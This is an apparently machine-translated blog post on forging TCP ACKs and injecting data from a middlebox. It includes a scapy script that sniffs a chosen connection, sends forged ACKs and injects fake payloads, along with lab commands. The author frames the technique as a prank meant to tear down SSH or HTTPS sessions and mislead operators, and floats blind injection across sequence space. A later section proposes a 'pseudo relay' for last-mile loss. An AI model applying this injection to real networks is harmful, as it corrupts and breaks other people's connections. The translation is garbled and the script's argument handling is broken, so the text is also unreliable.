TCP Create and develop in 1970 years ～1980 years , It's destined to work, but it's vulnerable .
stay TCP beginning , The most important thing is availability , Not efficiency , It's not safe , therefore , End to end TCP The middle of the connection , Using fake ACK, It's easy for you to do a task called Man in the middle attack What happened .
If you use “TCP hijack ”,“TCP intermediator ”,“TCP injection ” And so on as the keyword Baidu or Google, Most of the content is in SYN Writing on the message , Such as conversation Reset, session hijacking ,SYN
Flood Attacks and so on , But there are actually more fun pranks .
By forging on the middle path ACK, You can ：
* Confirm data in advance , disturb TCP Of ACK Clock , influence RTT measure .
Because the data has not yet arrived receiver, Forgery in advance ACK Can cause sender Measured RTT Short , Mislead them BDP The measurement of .
* Out of order confirmation data , disturb ACK Arrival mode , Impact congestion control .
Let's say we send two fake messages in reverse order ACK, Can cause sender end burst Data induced congestion (ABC Mechanism can slow down ).
* Confirm the discarded data , There is no remedy for the hole in the receiver .
as long as sender received ACK, The data is permanently removed from the retransmission queue , But in fact this one ACK It's a forgery , The real data has been lost .receiver You will never be able to wait for this data again .
* Confirm the discarded data , Forging data to make up for holes and realize injection .
Refer to the above point , since receiver I'm waiting for data that I can't wait for any more , The middleman can forge arbitrary data to fill the hole , Realize data injection .
* Forgery data injection , send SSH,HTTPS Waiting for decryption failure ,TCP Normal shutdown .
Refer to the above two points for forged data injection HTTPS,SSH Equal encrypted connection , Will cause decryption failure , So that the application can call close Closing the connection is not Reset Drop the connection .
Is it more interesting ? Especially the last point , Most of the time , programmer , The operation and maintenance department and the manager are investigating TCP When it comes to problems , Always watching Wireshark It's shown in red RST message , Now they have the ability to pass IPID Field distribution and TTL Field to determine the RST Is it from the intermediate equipment ( They couldn't do it a few years ago …). however , The way I disconnect is not out of date RST, It's about injecting dirty data , serial number ,IPID,TTL Equal matching , This can be a big disruption to programmers , Ideas of operation and maintenance and managers , Let them work overtime until they get dizzy and fall into a more purgatory abyss . therefore , Sending forgery ACK Or falsifying data , You have to do it ：
forge ACK Or fake data injection , Be careful IPID,TTL Two IP The fields of the layer , Try to match the two fields seen in the packet capture location , This is more realistic . such as ,IPID Keep monotonous and increase slightly ,TTL bring into correspondence with .
Come on, come on , Let's make a simple comparison .
Let's look at the topology first ：
Give a code ：
#!/usr/bin/python3 # forone.py from scapy.all import * def tuple_filter(dst,
src, dport): def parsep(packet): if not packet.haslayer(TCP): return False saddr
= packet[IP].src daddr = packet[IP].dst dst_port = packet[TCP].dport return
saddr== src and daddr == dst and dst_port == dport return parsep def fake_ack(
iface): def parsep(packet): saddr = packet[IP].src sport = packet[TCP].sport
daddr= packet[IP].dst dport = packet[TCP].dport seq = packet[TCP].seq ack =
packet[TCP].ack flags = packet[TCP].flags if "S" in flags : return ack_seq =
ack ack= seq + len(packet[TCP].payload) pkt = IP(src = daddr, dst = saddr)/TCP(
sport= dport, dport = sport, flags = "A", seq = ack_seq, ack = ack) send(pkt,
verbose= 0, iface = iface) return parsep def fake_data(iface): def parsep(packet
): saddr = packet[IP].src sport = packet[TCP].sport daddr = packet[IP].dst dport
= packet[TCP].dport seq = packet[TCP].seq ack = packet[TCP].ack flags = packet[
TCP].flags pkt = IP(dst = saddr, src = daddr)/TCP(dport = sport, sport = dport,
flags= flags, seq = ack, ack = seq)/"pixie\n" send(pkt, verbose = 0, iface =
iface) sys.exit() return parsep if __name__ == "__main__": iface = sys.argv
dst= sys.argv src = sys.argv port = sys.argv mode = sys.argv if mode
== "A": t = sniff(prn = fake_ack(iface), lfilter = tuple_filter(dst, src, int(
port)), count = 5000, iface = iface) else: print("D") t = sniff(prn = fake_data(
iface), lfilter = tuple_filter(dst, src, int(port)), count = 5000, iface = iface
We use nc Simulation of a chat program , stay host B Run on nc The server ：
# 172.18.0.1 nc -l -p 5001
stay host A Run on nc client ：
# 172.16.0.1 nc 172.18.0.1 5001
In order to simulate the acquisition of packet loss , stay Midbox Simulation of a targeted packet loss , This simplifies our experiment , In the real world , Or through analysis ACK Sequence to identify packet loss ：
# 172.18.0.2 & 172.16.0.2 iptables -A FORWARD -m string --algo bm --string
"hello" -j DROP
By catching bags , Of course I can get these two nc Quadruple information for establishing a connection , I am here Midbox Execution of forgery ACK The logic of , An attempt was made to confirm a lost message , Including "hello" Message of ：
# 172.18.0.2 & 172.16.0.2 forone.py enp0s9 172.18.0.1 172.16.0.1 5001 A
When host A input hello after , stay Midbox Perform the logic of falsifying data ：
forone.py enp0s10 172.16.0.1 172.18.0.1 53320 D
Here's the result ：
In fact, there is no such trouble , As long as you make the data you inject run faster than the original data , You can take it Sequence Data injection based on location .
Is it better than just faking one RST It's more elegant to break the connection ? I always like it , It's dancing when you hit people , Singing instead of swearing , It's like 《 Kungfu 》 At the beginning .
The above trick is very elementary and simple , But I don't mean to evaluate it , I mean , If in a switch or any intermediate node , Let's not forget the nodes , Deploy on it python The logic in the script , Simplify a little bit , No more tuples are filtered , Just do the following two things ：
* See you TCP Payload length Why not 0 Message of , Just reply back ACK Confirm the information in the message Payload.
* See you TCP Payload length by 0 Pure ACK message , On reverse injection of forged arbitrary or carefully prepared data .
If we can't get such a deployment location , I just fake it at will TCP Quad information , And then we use the principle of reflection to traverse 4G Of sequence space , Execute the above logic , how ?
This is equivalent to holding a submachine gun with unlimited bullets to scan blindly .
programmer , Operation and maintenance , What about the managers ? Don't try to stop this , To show your ability , Because of this forgery ACK, The falsification of data is not even an attack , It is TCP Inherent , It's just a prank at best , If you take it too seriously, you lose .
The reason for writing the above paragraph , The aim, of course, is to avoid discussion , I know a lot of programmers will throw 10000 dis, And then send 100000 solutions to this problem , Of course I know the programmer is right , So it's good for you to know your strength , Don't let me know , And don't despise me .
okay , The bad thing is done , forge ACK Is it possible to do something meaningful ?
With these tricks , I think we can do some positive work .
Imagine a long link with acceptable bandwidth , The so-called long-term fertilizer pipeline ,lastmile Packet loss rate is very high ,TCP How to deal with the link degradation of the last kilometer ? You know , Although the packet loss rate is high only here , It's very slow to refill the long fertilizer pipeline . How to get around ?
Unfortunately , I can't get around it . because lastmile The destination is the terminal , It's difficult to make additional configuration for this kind of uncontrolled terminal , Otherwise , We can create a segmented tunnel in the following way , stay lastmile The packet loss resistant algorithm is adopted in the segment CC：
But unfortunately , It's very difficult for us to deploy tunnels on terminals , So most of the time ,SD-WAN It's not going to work .
So we have to build a transparent proxy .
use IP_TRANSPARENT option It's easy to build one TCP Transparent proxy .
But there is a more efficient and simple three-tier solution than transparent proxy ：
* stay lastmile Forwarding node for each passing TCP connect cache The biggest one BDP Of sequence Continuous message .
* Use these messages cache, Realize the logic in the figure below ：
In fact, it is a super simple timeout retransmission , Fast retransmission mechanism . I call it Pseudo relay .
As for realization , I think it's simpler than transparent agent and tunnel , Its complexity lies in nf_conntrack under , We can imagine using it nf_conntrack To accomplish this ：
* with TCP Building bidirectional traffic with quadruple as key hash surface .
* TCP When the message arrives, it is queried by quadruple hash surface , find entry.
* Realize forgery ACK, Timer management logic .
* Save at most one based on sliding window BDP Of sequence Continuous data message .
There's an interesting point here , Many good at the host network to see the above pseudo relay trick will raise a lot of questions , For example, the introduction of such complex logic is bound to increase the processing delay , The synchronization cost of mutually exclusive read and write of data structure will be consumed CPU Further increase the processing delay , and so on .
That's the point , We're dealing with an end-to-end pipe in a long fertilizer pipeline TCP, Instead of the host receiving or contracting path .
One TCP Of RTT At least ms level , The long-term fertilizer pipeline can reach 100 million tons ms level , In response to lastmile The processing delay caused by the pseudo relay logic introduced by packet loss is less than 0 us level , It's not an order of magnitude at all .
in addition , Compared with sectional tunnel , The pseudo relay is completely transparent , It doesn't lose the link MTU, The segmented tunnel will consume at least one hour TCP head /IP Space cost of header .
Yeah , There's a brain hole , Is segmented tunnel also possible without tunnel mode , What about transmission mode ? No more repackaging , But only in the middle node, the cache data is implemented differently CC algorithm . Is to extend the above pseudo relay trick to the whole link , Extend to this SD-WAN Of Overlay network , Each transfer node has a TCP Data cache , In the implementation of different CC The algorithm sends data at the same time , Implementation of timeout retransmission logic and fast retransmission logic …
I think too much .
Wet leather shoes in Wenzhou, Zhejiang Province , If it rains, you won't get fat .